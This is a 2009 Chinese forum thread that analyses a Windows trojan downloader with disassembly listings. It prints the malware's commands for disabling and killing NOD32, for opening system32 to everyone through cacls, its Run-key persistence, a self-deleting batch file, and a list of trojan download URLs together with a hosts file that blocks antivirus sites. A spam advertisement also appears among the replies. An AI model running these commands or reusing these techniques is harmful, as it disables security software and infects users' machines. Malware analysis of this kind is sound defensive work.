某下载者不完全分析

长江小七 · 发表于 2009-5-28 19:00

文章之前在kingzoo发过，初到吾爱，也弄点东西过来吧，嘿嘿。。。。

【文章标题】: 某下载者不完全分析
【文章作者】:长江小七
【软件名称】: 某下载者（病毒）
【加壳方式】: UPX
【编写语言】: VC6.0
【使用工具】: OD SSM
【操作平台】: winxp SP2
【软件介绍】: 释放病毒文件和驱动文件,下载一大堆木马
【作者声明】: 只是感兴趣，没有其他目的。失误之处敬请诸位大侠赐教!
样本见附件(已脱壳)
第一次分析病毒,基础不扎实,如有错漏,希望大家指正~谢谢
UPX壳,ESP定律简单脱之.PEID查看一下, VC6.0写的.
脱壳后貌似很多花指令,偶不懂去花(菜啊,没办法),硬着头皮继续分析.
1.调用FindWindowA函数,检查是否有窗体上弹出(ASCII "TTe.er.eabcds.ss")这个字符串，果有就是发现自己被报毒了,然后退出.
00402369 >push 004012C8                      ; tte.er.eabcds.ss
0040236E >call dword ptr [<&USER32.FindWindowA>>; USER32.FindWindowA
00402374 >mov    dword ptr [ebp-318], eax
0040237A >cmp    dword ptr [ebp-318], 0
00402381 >je    0040241D
2.fuck掉NOD32(怀疑ing,NOD不会这么脆弱吧???没测试,不知道~),执行
cmd /c sc config ekrn start= disabled
cmd.exe /c taskkill.exe /im ekrn.exe
cmd.exe /c taskkill.exe /im egui.exe
3.从自身资源文件出取出资源名为 server 的资源,释放killdll.dll到WINDOWS目录,然后
执行命令行：C:\WINDOWS\system32\rundll32.exe C:\WINDOWS\killdll.dll testall
加载自己.
4调用GetTickCount函数,根据开机时间生成一个EXE文件到WINDOWS目录(我的机器为:
C:\WINDOWS\28720812_xeex.exe),接着调用ShellExecuteA函数执行28720812_xeex.exe.
0040295C >call dword ptr [<&kernel32.GetTickCou>; kernel32.GetTickCount
00402962 >push eax
00402963 >lea    edx, dword ptr [ebp-A68]
00402969 >push edx
0040296A >push 00401294                      ; %s%d_xeex.exe
0040296F >lea    eax, dword ptr [ebp-A68]
00402975 >push eax
00402976 >call dword ptr [<&USER32.wsprintfA>]  ; USER32.wsprintfA
0040297C >add    esp, 10
0040297F >push 0FF
00402984 >lea    ecx, dword ptr [ebp-204]
0040298A >push ecx
0040298B >call dword ptr [<&kernel32.GetWindows>; kernel32.GetWindowsDirectoryA
00402991 >push 0040123C                      ; \
00402996 >lea    edx, dword ptr [ebp-204]
0040299C >push edx
0040299D >call dword ptr [<&kernel32.lstrcat>]  ; kernel32.lstrcatA
004029A3 >lea    eax, dword ptr [ebp-A68]
004029A9 >push eax
004029AA >lea    ecx, dword ptr [ebp-204]
004029B0 >push ecx
004029B1 >call dword ptr [<&kernel32.lstrcat>]  ; kernel32.lstrcatA
004029B7 >push 004012C0                      ; server
004029BC >push 65
004029BE >lea    edx, dword ptr [ebp-204]
004029C4 >push edx
004029C5 >call 00401650
004029CA >push 0FF
004029CF >lea    eax, dword ptr [ebp-204]
004029D5 >push eax
004029D6 >call dword ptr [<&kernel32.GetWindows>; kernel32.GetWindowsDirectoryA
004029DC >push 0040123C                      ; \
004029E1 >lea    ecx, dword ptr [ebp-204]
004029E7 >push ecx
004029E8 >call dword ptr [<&kernel32.lstrcat>]  ; kernel32.lstrcatA
004029EE >lea    edx, dword ptr [ebp-A68]
004029F4 >push edx
004029F5 >lea    eax, dword ptr [ebp-204]
004029FB >push eax
004029FC >call dword ptr [<&kernel32.lstrcat>]  ; kernel32.lstrcatA
00402A02 >push 0
00402A04 >push 0
00402A06 >push 0
00402A08 >lea    ecx, dword ptr [ebp-204]
00402A0E >push ecx
00402A0F >push 0040128C                      ; open
00402A14 >push 0
00402A16 >call dword ptr [<&SHELL32.ShellExecut>; SHELL32.ShellExecuteA ;执行28720812_xeex.exe
00402A1C >push 1F4
00402A21 >call dword ptr [<&kernel32.Sleep>] ; kernel32.Sleep
5.释放驱动 pcidump.sys  并安装该驱动
注册表键： HKLM\SYSTEM\CurrentControlSet\Services\PCIDump
注册表值： Start
新的值:
类型: REG_DWORD
值： 00000003
00401C7A 6A 00          push 0
00401C7C 6A 00          push 0
00401C7E 6A 00          push 0
00401C80 6A 00          push 0
00401C82 6A 00          push 0
00401C84 8B4D 08       mov    ecx, dword ptr [ebp+8]
00401C87 51             push ecx
00401C88 6A 00          push 0
00401C8A 6A 03          push 3
00401C8C 6A 01          push 1
00401C8E 68 FF010F00    push 0F01FF
00401C93 68 40124000    push 00401240                      ; ASCII "pcidump"
00401C98 68 40124000    push 00401240                      ; ASCII "pcidump"
00401C9D 8B55 FC       mov    edx, dword ptr [ebp-4]
00401CA0 52             push edx
00401CA1 FF15 DC384000 call dword ptr [4038DC]             ; ADVAPI32.CreateServiceA
00401CA7 8945 C8       mov    dword ptr [ebp-38], eax
00401CAA 837D C8 00    cmp    dword ptr [ebp-38], 0
00401CAE 75 7F          jnz    short 00401D2F
00401CB0 68 FF010F00    push 0F01FF
00401CB5 68 40124000    push 00401240                      ; ASCII "pcidump"
00401CBA 8B45 F4       mov    eax, dword ptr [ebp-C]
00401CBD 50             push eax
00401CBE FF15 E4384000 call dword ptr [4038E4]             ; ADVAPI32.OpenServiceA
00401CC4 8945 D4       mov    dword ptr [ebp-2C], eax
00401CC7 8B4D D4       mov    ecx, dword ptr [ebp-2C]
00401CCA 894D F8       mov    dword ptr [ebp-8], ecx
00401CCD 837D D4 00    cmp    dword ptr [ebp-2C], 0
00401CD1 74 24          je    short 00401CF7
00401CD3 8D55 D8       lea    edx, dword ptr [ebp-28]
00401CD6 52             push edx
00401CD7 6A 01          push 1
00401CD9 8B45 D4       mov    eax, dword ptr [ebp-2C]
00401CDC 50             push eax
00401CDD FF15 E0384000 call dword ptr [4038E0]             ; ADVAPI32.ControlService
00401CE3 8B4D F8       mov    ecx, dword ptr [ebp-8]
00401CE6 51             push ecx
00401CE7 FF15 D4384000 call dword ptr [4038D4]             ; ADVAPI32.DeleteService
00401CED 8B55 F8       mov    edx, dword ptr [ebp-8]
00401CF0 52             push edx
00401CF1 FF15 D8384000 call dword ptr [4038D8]             ; ADVAPI32.CloseServiceHandle
00401CF7 6A 00          push 0
00401CF9 6A 00          push 0
00401CFB 6A 00          push 0
00401CFD 6A 00          push 0
00401CFF 6A 00          push 0
00401D01 8B45 08       mov    eax, dword ptr [ebp+8]
00401D04 50             push eax
00401D05 6A 00          push 0
00401D07 6A 03          push 3
00401D09 6A 01          push 1
00401D0B 68 FF010F00    push 0F01FF
00401D10 68 40124000    push 00401240                      ; ASCII "pcidump"
00401D15 68 40124000    push 00401240                      ; ASCII "pcidump"
00401D1A 8B4D F4       mov    ecx, dword ptr [ebp-C]
00401D1D 51             push ecx
00401D1E FF15 DC384000 call dword ptr [4038DC]             ; ADVAPI32.CreateServiceA
00401D24 8945 C8       mov    dword ptr [ebp-38], eax
00401D27 837D C8 00    cmp    dword ptr [ebp-38], 0
00401D2B 75 02          jnz    short 00401D2F
00401D2D EB 74          jmp    short 00401DA3
00401D2F 8B55 C8       mov    edx, dword ptr [ebp-38]
00401D32 52             push edx
00401D33 FF15 D8384000 call dword ptr [4038D8]             ; ADVAPI32.CloseServiceHandle
00401D39 6A 10          push 10
00401D3B 68 40124000    push 00401240                      ; ASCII "pcidump"
00401D40 8B45 F4       mov    eax, dword ptr [ebp-C]
00401D43 50             push eax
00401D44 FF15 E4384000 call dword ptr [4038E4]             ; ADVAPI32.OpenServiceA
00401D4A 8945 C0       mov    dword ptr [ebp-40], eax
00401D4D 8B4D C0       mov    ecx, dword ptr [ebp-40]
00401D50 894D CC       mov    dword ptr [ebp-34], ecx
00401D53 837D C0 00    cmp    dword ptr [ebp-40], 0
00401D57 74 27          je    short 00401D80
00401D59 6A 00          push 0
00401D5B 6A 00          push 0
00401D5D 8B55 C0       mov    edx, dword ptr [ebp-40]
00401D60 52             push edx
00401D61 FF15 D0384000 call dword ptr [4038D0]             ; ADVAPI32.StartServiceA
00401D67 85C0          test eax, eax
00401D69 75 09          jnz    short 00401D74
00401D6B FF15 24104000 call dword ptr [<&kernel32.GetLastErr>; ntdll.RtlGetLastWin32Error
00401D71 8945 D0       mov    dword ptr [ebp-30], eax
00401D74 8B45 CC       mov    eax, dword ptr [ebp-34]
00401D77 50             push eax
00401D78 FF15 D8384000 call dword ptr [4038D8]             ; ADVAPI32.CloseServiceHandle
00401D7E EB 09          jmp    short 00401D89
00401D80 FF15 24104000 call dword ptr [<&kernel32.GetLastErr>; ntdll.RtlGetLastWin32Error
00401D86 8945 D0       mov    dword ptr [ebp-30], eax
00401D89 8B4D F4       mov    ecx, dword ptr [ebp-C]
00401D8C 51             push ecx
00401D8D FF15 D8384000 call dword ptr [4038D8]             ; ADVAPI32.CloseServiceHandle
00401D93 EB 09          jmp    short 00401D9E
00401D95 FF15 24104000 call dword ptr [<&kernel32.GetLastErr>; ntdll.RtlGetLastWin32Error
00401D9B 8945 D0       mov    dword ptr [ebp-30], eax
00401D9E 8B45 D0       mov    eax, dword ptr [ebp-30]
00401DA1 EB 02          jmp    short 00401DA5
00401DA3  ^ EB DB          jmp    short 00401D80
00401DA5 5F             pop    edi
00401DA6 5E             pop    esi
00401DA7 5B             pop    ebx
00401DA8 8BE5          mov    esp, ebp
00401DAA 5D             pop    ebp
00401DAB C3             retn
6.把自身复制到 system32系统目录下,并命名为:scvhost.exe
00402FCF 6A 00          push 0
00402FD1 8D8D 00FFFFFF lea    ecx, dword ptr [ebp-100]
00402FD7 51             push ecx
00402FD8 8D95 C0F9FFFF lea    edx, dword ptr [ebp-640]
00402FDE 52             push edx
00402FDF FF15 40104000 call dword ptr [<&kernel32.CopyFileA>>; kernel32.CopyFileA
7.创建_uok.bat到windows目录,用来删除自己
批处理内容如下:
:Repeat
del "C:\DOCUME~1\ADMINI~1\桌面\复件VI~1.EXE"
if exist "C:\DOCUME~1\ADMINI~1\桌面\复件VI~1.EXE" goto Repeat
rmdir C:\DOCUME~1\ADMINI~1\桌面
del "C:\WINDOWS\_uok.bat"

00401805 BF 10154000    mov    edi, 00401510                   ; _uok.bat
0040180A 8D95 FCFEFFFF lea    edx, dword ptr [ebp-104]
00401810 83C9 FF       or    ecx, FFFFFFFF
00401813 33C0          xor    eax, eax
00401815 F2:AE          repne scas byte ptr es:[edi]
00401817 F7D1          not    ecx
00401819 2BF9          sub    edi, ecx
0040181B 8BF7          mov    esi, edi
0040181D 8BD9          mov    ebx, ecx
0040181F 8BFA          mov    edi, edx
OK,主程序分析完~

接着来分析28720812_xeex.exe
1.创建互斥体 "XETTETT......"，如果存在则退出,避免病毒重复运行。
00400920 >/$  55          push ebp
00400921  |.  8BEC       mov    ebp, esp
00400923  |.  81EC 1C050000 sub    esp, 51C
00400929  |.  57          push edi
0040092A  |.  33FF       xor    edi, edi
0040092C  |.  68 68274000 push 00402768                      ; /MutexName = "XETTETT......"
00400931  |.  57          push edi                            ; |InitialOwner => FALSE
00400932  |.  57          push edi                            ; |pSecurity => NULL
00400933  |.  FF15 3C044000 call dword ptr [<&KERNEL32.CreateMute>; \CreateMutexA
00400939  |.  FF15 10044000 call dword ptr [<&KERNEL32.GetLastErr>; [GetLastError
0040093F  |.  3D B7000000 cmp    eax, 0B7
00400944  |.  75 07       jnz    short 0040094D
2.更改以下文件夹权限(NTFS),为隐藏和下载病毒作准备.
cmd /c cacls C:\WINDOWS\system32 /e /p everyone:f
cmd /c cacls ""C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\"" /e /p everyone:f
修改注册表键值,让病毒开机运行.
注册表键： HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
注册表值： RsTray
   类型: REG_SZ
   值： C:\WINDOWS\system32\scvhost.exe
00400A45  |.  50          push eax                               ; /Buffer
00400A46  |.  56          push esi                               ; |BufSize
00400A47  |.  FF15 24044000 call dword ptr [<&KERNEL32.GetTempPathA>; \GetTempPathA
00400A4D  |.  8D85 F0FDFFFF lea    eax, dword ptr [ebp-210]
00400A53  |.  50          push eax                               ; /<%s>
00400A54  |.  8D85 ECFCFFFF lea    eax, dword ptr [ebp-314]          ; |
00400A5A  |.  68 00274000 push 00402700                         ; |format = "cmd /c cacls ""%s"" /e /p everyone:f"
00400A5F  |.  50          push eax                               ; |s
00400A60  |.  FF15 F0044000 call dword ptr [<&MSVCRT.sprintf>]    ; \sprintf
00400A66  |.  83C4 0C    add    esp, 0C
00400A69  |.  8D85 ECFCFFFF lea    eax, dword ptr [ebp-314]
00400A6F  |.  57          push edi
00400A70  |.  50          push eax
00400A71  |.  FFD3       call ebx
00400A73  |.  E8 15FDFFFF call 0040078D
00400A78  |.  E8 43030000 call 00400DC0                      ;  创建注册表键值
3.判断操作系统
00400AF2  |.  50          push eax                               ; /pVersionInformation
00400AF3  |.  FF15 40044000 call dword ptr [<&KERNEL32.GetVersionExA>; \GetVersionExA
00400AF9  |.  83BD 74FFFFFF>cmp    dword ptr [ebp-8C], 2
00400B00  |.  75 20       jnz    short 00400B22
00400B02  |.  83BD 68FFFFFF>cmp    dword ptr [ebp-98], 5
00400B09  |.  72 25       jb    short 00400B30
00400B0B  |.  83BD 6CFFFFFF>cmp    dword ptr [ebp-94], 0
00400B12  |.  75 07       jnz    short 00400B1B
00400B14  |.  B8 88274000 mov    eax, 00402788                      ;  win2000
00400B19  |.  C9          leave
00400B1A  |.  C3          retn
00400B1B  |>  B8 80274000 mov    eax, 00402780                      ;  winxp
00400B20  |.  C9          leave
00400B21  |.  C3          retn
00400B22  |>  83BD 74FFFFFF>cmp    dword ptr [ebp-8C], 1
00400B29  |.  75 05       jnz    short 00400B30
00400B2B  |.  B8 78274000 mov    eax, 00402778                      ;  win9x
00400B30  |>  C9          leave
00400B31  \.  C3          retn

3.访问http://8884.cc/1/Count.asp(估计是统计感染用户数);
解密字符串(病毒下载列表),解密结果为: http://ohyes88.com/xin/xx.txt
00400FCF  |.  8D85 4CFEFFFF lea    eax, dword ptr [ebp-1B4]
00400FD5  |.  68 08244000 push 00402408                         ; /src = "H7CX26h`Ez[aZPeOA3u:ZQKcRTrOGxI
[onQaUOlNr@SmWppVk@6[WCCC"
00400FDA  |.  50          push eax                               ; |dest
00400FDB  |.  E8 B2060000 call <jmp.&MSVCRT.strcpy>             ; \strcpy
00400FE0  |.  83C4 44    add    esp, 44
00400FE3  |.  8D85 4CFBFFFF lea    eax, dword ptr [ebp-4B4]
00400FE9  |.  50          push eax
00400FEA  |.  8D85 4CFEFFFF lea    eax, dword ptr [ebp-1B4]
00400FF0  |.  50          push eax                               ; /s
00400FF1  |.  E8 96060000 call <jmp.&MSVCRT.strlen>             ; \strlen
00400FF6  |.  59          pop    ecx
00400FF7  |.  50          push eax
00400FF8  |.  8D85 4CFEFFFF lea    eax, dword ptr [ebp-1B4]
00400FFE  |.  50          push eax
00400FFF  |.  E8 4DF7FFFF call 00400751
00401004  |.  8D85 4CFDFFFF lea    eax, dword ptr [ebp-2B4]
0040100A  |.  50          push eax
0040100B  |.  8D85 4CFBFFFF lea    eax, dword ptr [ebp-4B4]
00401011  |.  50          push eax
00401012  |.  E8 E7F5FFFF call 004005FE
00401017  |.  8D85 4CFCFFFF lea    eax, dword ptr [ebp-3B4]
0040101D  |.  50          push eax
0040101E  |.  8D85 4CFDFFFF lea    eax, dword ptr [ebp-2B4]
00401024  |.  50          push eax
00401025  |.  E8 81F6FFFF call 004006AB
0040102A  |.  8D85 4CFCFFFF lea    eax, dword ptr [ebp-3B4]
00401030  |.  50          push eax                               ; 病毒列表:/src = "http://ohyes88.com/xin/xx.txt"
00401031  |.  8D85 BCF9FFFF lea    eax, dword ptr [ebp-644]          ; |
00401037  |.  50          push eax                               ; |dest
00401038  |.  E8 55060000 call <jmp.&MSVCRT.strcpy>             ; \strcpy
0040103D  |.  83C4 24    add    esp, 24
5.访问病毒文件列表,下载以下病毒:
1:http://2009kabasiji.com/xiao/aa1.exe
1:http://2009kabasiji.com/xiao/aa2.exe
1:http://2009kabasiji.com/xiao/aa3.exe
1:http://2009kabasiji.com/xiao/aa4.exe
1:http://2009kabasiji.com/xiao/aa5.exe
1:http://2009kabasiji.com/xiao/aa6.exe
1:http://2009kabasiji.com/xiao/aa7.exe
1:http://2009kabasiji.com/xiao/aa8.exe
1:http://2009kabasiji.com/xiao/aa9.exe
1:http://2009kabasiji.com/xiao/aa10.exe
1:http://2009kabasiji.com/xiao/aa11.exe
1:http://2009kabasiji.com/xiao/aa12.exe
1:http://2009kabasiji.com/xiao/aa13.exe
1:http://2009kabasiji.com/xiao/ktv14.exe
1:http://2009kabasiji.com/xiao/aa15.exe
1:http://2009kabasiji.com/xiao/aa16.exe
1:http://2009kabasiji.com/xiao/aa17.exe
1:http://2009kabasiji.com/xiao/good18.exe
1:http://2009kabasiji.com/xiao/aa19.exe
1:http://2009kabasiji.com/xiao/aa20.exe
1:http://2009kabasiji.com/xiao/aa21.exe
1:http://2009kabasiji.com/xiao/aa22.exe
1:http://2009kabasiji.com/xiao/aa23.exe
1:http://2009kabasiji.com/xiao/aa24.exe
1:http://2009kabasiji.com/xiao/aa25.exe
1:http://2009kabasiji.com/xiao/aa26.exe
1:http://2009kabasiji.com/xiao/aa29.exe
1:http://2009kabasiji.com/xiao/aa30.exe
1:http://2009kabasiji.com/xiao/mei33.exe
1:http://2009kabasiji.com/xiao/aa34.exe
到临时文件夹C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\U7YRQDIL中
6. 下载http://ohyes88.com/xin/host.jpg文件到临时文件夹,设置为只读属性.并在本地hosts文件里添加host.jpg文件里面的内容.
Host.jpg文件内容为:
127.0.0.1    v.onondown.com.cn
127.0.0.2    ymsdasdw1.cn
127.0.0.3    h96b.info
127.0.0.0    fuck.zttwp.cn
127.0.0.0    www.hackerbf.cn
127.0.0.0    zzz.2008wyt.net
127.1.1.1    999.2005wyt.com
127.1.1.1    219.152.120.240
127.0.0.0    ww.popdm.cn
127.1.1.1    bbt.etimes888.com
127.1.1.1    219.147.13.53
127.1.1.1    a1.xxoozjz.com:56868
127.1.1.1    a1.xxoozjz.com
127.1.1.1    ddown.xxoozjz.com:56868
127.1.1.1    ddown.xxoozjz.com
127.1.1.1    dnl-13.geo.kaspersky.com
127.1.1.1    dl.360safe.com
127.1.1.1    www.sunlight.org.cn
127.1.1.1    w.wonthe.cn
127.1.1.1    20068080.cn
127.1.1.1    l.neter888.cn
127.1.1.1    stat.untang.com
127.1.1.1    www.ikdy.cn
127.0.0.0    geekbyfeng.cn
127.0.0.0    121.14.101.68
127.0.0.0    ppp.etimes888.com
127.0.0.0    www.bypk.com
127.0.0.0    CSC3-2004-crl.verisign.com
127.0.0.1    va9sdhun23.cn
127.0.0.0    udp.hjob123.com
127.1.1.1    999.hfdy2828.com
127.1.1.1    www.hfdy2929.com
127.1.1.1    www.xiazaide1.cn
127.1.1.1    www.vuf51579.cn
127.1.1.1    wm.eo2q.cn
127.1.1.1    d.www-263.com
127.1.1.1    www.ssy1688.cn
127.1.1.1    121.12.173.218
127.1.1.1    qq.18i16.net
127.1.1.1    a.baidu-6661.com
127.1.1.1    www.vuf51579.cn
127.1.1.1    www.1079223105.cn
127.1.1.1    home.xzx6.cn
127.1.1.1    top.fgc3.cn
127.1.1.1    165.246.44.228
127.1.1.1    wwww.ttfafa.com
127.1.1.1    pa.tt-09.com
127.0.0.2    bnasnd83nd.cn
127.0.0.0    www.gamehacker.com.cn
127.0.0.0    gamehacker.com.cn
127.1.1.1    www.cctv-100008.cn
127.1.1.1    222.73.208.141
127.0.0.3    adlaji.cn
127.1.1.1    aiyyw.com
127.0.0.1    858656.com
127.1.1.1    bnasnd83nd.cn
127.0.0.1    my123.com
127.0.0.0    user1.12-27.net
127.0.0.1    8749.com
127.0.0.0    fengent.cn
127.0.0.1    4199.com
127.0.0.1    user1.16-22.net
127.0.0.1    7379.com
127.0.0.1    2be37c5f.3f6e2cc5f0b.com
127.0.0.1    7255.com
127.0.0.1    user1.23-12.net
127.0.0.1    3448.com
127.0.0.1    www.guccia.net
127.0.0.1    7939.com
127.0.0.1    a.o1o1o1.nEt
127.0.0.1    8009.com
127.0.0.1    user1.12-73.cn
127.0.0.1    piaoxue.com
127.0.0.1    3n8nlasd.cn
127.0.0.1    kzdh.com
127.0.0.0    www.sony888.cn
127.0.0.1    about.blank.la
127.0.0.0    user1.asp-33.cn
127.0.0.1    6781.com
127.0.0.0    www.netkwek.cn
127.0.0.1    7322.com
127.0.0.0    ymsdkad6.cn
127.0.0.1    localhost
127.0.0.0    www.lkwueir.cn
127.0.0.1    06.jacai.com
127.0.1.1    user1.23-17.net
127.0.0.1    1.jopenkk.com
127.0.0.0    upa.luzhiai.net
127.0.0.1    1.jopenqc.com
127.0.0.0    www.guccia.net
127.0.0.1    1.joppnqq.com
127.0.0.0    4m9mnlmi.cn
127.0.0.1    1.xqhgm.com
127.0.0.0    mm119mkssd.cn
127.0.0.1    100.332233.com
127.0.0.0    61.128.171.115:8080
127.0.0.1    121.11.90.79
127.0.0.0    www.1119111.com
127.0.0.1    121565.net
127.0.0.0    win.nihao69.cn
127.0.0.1    125.90.88.38
127.0.0.1    16888.6to23.com
127.0.0.1    2.joppnqq.com
127.0.0.0    puc.lianxiac.net
127.0.0.1    204.177.92.68
127.0.0.0    pud.lianxiac.net
127.0.0.1    210.74.145.236
127.0.0.0    210.76.0.133
127.0.0.1    219.129.239.220
127.0.0.0    61.166.32.2
127.0.0.1    219.153.40.221
127.0.0.0    218.92.186.27
127.0.0.1    219.153.46.27
127.0.0.0    www.fsfsfag.cn
127.0.0.1    219.153.52.123
127.0.0.0    ovo.ovovov.cn
127.0.0.1    221.195.42.71
127.0.0.0    dw.com.com
127.0.0.1    222.73.218.115
127.0.0.1    203.110.168.233:80
127.0.0.1    3.joppnqq.com
127.0.0.1    203.110.168.221:80
127.0.0.1    363xx.com
127.0.0.1    www1.ip10086.com.cm
127.0.0.1    4199.com
127.0.0.1    blog.ip10086.com.cn
127.0.0.1    43242.com
127.0.0.1    www.ccji68.cn
127.0.0.1    5.xqhgm.com
127.0.0.0    t.myblank.cn
127.0.0.1    520.mm5208.com
127.0.0.0    x.myblank.cn
127.0.0.1    59.34.131.54
127.0.0.1    210.51.45.5
127.0.0.1    59.34.198.228
127.0.0.1    www.ew1q.cn
127.0.0.1    59.34.198.88
127.0.0.1    59.34.198.97
127.0.0.1    60.190.114.101
127.0.0.1    60.190.218.34
127.0.0.0    qq-xing.com.cn
127.0.0.1    60.191.124.252
127.0.0.1    61.145.117.212
127.0.0.1    61.157.109.222
127.0.0.1    75.126.3.216
127.0.0.1    220.250.64.21
127.0.0.1    75.126.3.217
127.0.0.1    75.126.3.218
127.0.0.0    59.125.231.177:17777
127.0.0.1    75.126.3.220
127.0.0.1    75.126.3.221
127.0.0.1    75.126.3.222
127.0.0.1    772630.com
127.0.0.1    832823.cn
127.0.0.1    8749.com
127.0.0.1    888.jopenqc.com
127.0.0.1    89382.cn
127.0.0.1    8v8.biz
127.0.0.1    97725.com
127.0.0.1    9gg.biz
127.0.0.1    www.9000music.com
127.0.0.1    test.591jx.com
127.0.0.1    a.topxxxx.cn
127.0.0.1    picon.chinaren.com
127.0.0.1    www.5566.net
127.0.0.1    p.qqkx.com
127.0.0.1    news.netandtv.com
127.0.0.1    z.neter888.cn
127.0.0.1    b.myblank.cn
127.0.0.1    wvw.wokutu.com
127.0.0.1    unionch.qyule.com
127.0.0.1    www.qyule.com
127.0.0.1    it.itjc.cn
127.0.0.1    www.linkwww.com
127.0.0.1    vod.kaicn.com
127.0.0.1    www.tx8688.com
127.0.0.1    b.neter888.cn
127.0.0.1    promote.huanqiu.com
127.0.0.1    www.huanqiu.com
127.0.0.1    www.haokanla.com
127.0.0.1    play.unionsky.cn
127.0.0.1    www.52v.com
127.0.0.1    www.gghka.cn
127.0.0.1    icon.ajiang.net
127.0.0.1    new.ete.cn
127.0.0.1    www.stiae.cn
127.0.0.1    o.neter888.cn
127.0.0.1    comm.jinti.com
127.0.0.1    www.google-analytics.com
127.0.0.1    hz.mmstat.com
127.0.0.1    www.game175.cn
127.0.0.1    x.neter888.cn
127.0.0.1    z.neter888.cn
127.0.0.1    p.etimes888.com
127.0.0.1    hx.etimes888.com
127.0.0.1    abc.qqkx.com
127.0.0.1    dm.popdm.cn
127.0.0.1    www.yl9999.com
127.0.0.1    www.dajiadoushe.cn
127.0.0.1    v.onondown.com.cn
127.0.0.1    www.interoo.net
127.0.0.1    bally1.bally-bally.net
127.0.0.1    www.bao5605509.cn
127.0.0.1    www.rty456.cn
127.0.0.1    www.werqwer.cn
127.0.0.1    1.360-1.cn
127.0.0.1    user1.23-16.net
127.0.0.1    www.guccia.net
127.0.0.1    www.interoo.net
127.0.0.1    upa.netsool.net
127.0.0.1    js.users.51.la
127.0.0.1    qq.gong2008.com
127.0.0.1    2008tl.copyip.com
127.0.0.1    tla.laozihuolaile.cn
127.0.0.1    www.tx6868.cn
127.0.0.1    p001.tiloaiai.com
127.0.0.1    s1.tl8tl.com
127.0.0.1    s1.gong2008.com
127.0.0.1    4b3ce56f9g.3f6e2cc5f0b.com
127.0.0.1    2be37c5f.3f6e2cc5f0b.com
222.189.238.6 biz5c.sandai.net
222.189.238.6 recommend.xunlei.com
222.189.238.6 news.51uc.com
222.189.238.6 chat.sina.com.cn
222.189.238.6 hallcenter.ourgame.com
还有Killdll.dll文件不详细分析了,结束一些常见的杀毒软件进程,修改
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options,劫持一大堆杀软件,完~

样本：

virus.rar (42.71 KB, 下载次数: 56)

解压密码为: 52pojie

smallyou93 · 发表于 2009-5-28 19:06

:)欢迎常来

ximo · 发表于 2009-5-28 19:19

欢迎多发病毒分析文章。鼓励一下，加精。

花的世界 · 发表于 2009-5-31 17:39

欢迎多发病毒分析文章。鼓励一下，加精。

coolhui · 发表于 2009-6-4 16:39

正在学习中，希望以后能多看到楼主的分析~~

儒i忍 · 发表于 2009-7-2 11:10

http://www.wg888.com
最新最全的传奇私服发布引擎
每日提供最新的私服游戏

官方网站http://www.wg888.com

同步显示www.sf666.cn

同步显示www.sf666net

绿色安全绝无插件

wojiao4235 · 发表于 2009-8-2 13:43

这个很精彩哈哈

MyCracker · 发表于 2009-8-3 17:33

来看看，学习下内容！

ft1200021 · 发表于 2009-12-4 19:02

真心的感谢~~~~

fxshark · 发表于 2010-1-10 21:26

看的头都大了新手是不是看完都这样

帐号		自动登录	找回密码
密码			注册[Register]

[PC样本分析] 某下载者不完全分析

免费评分

最新最全的传奇私服发布站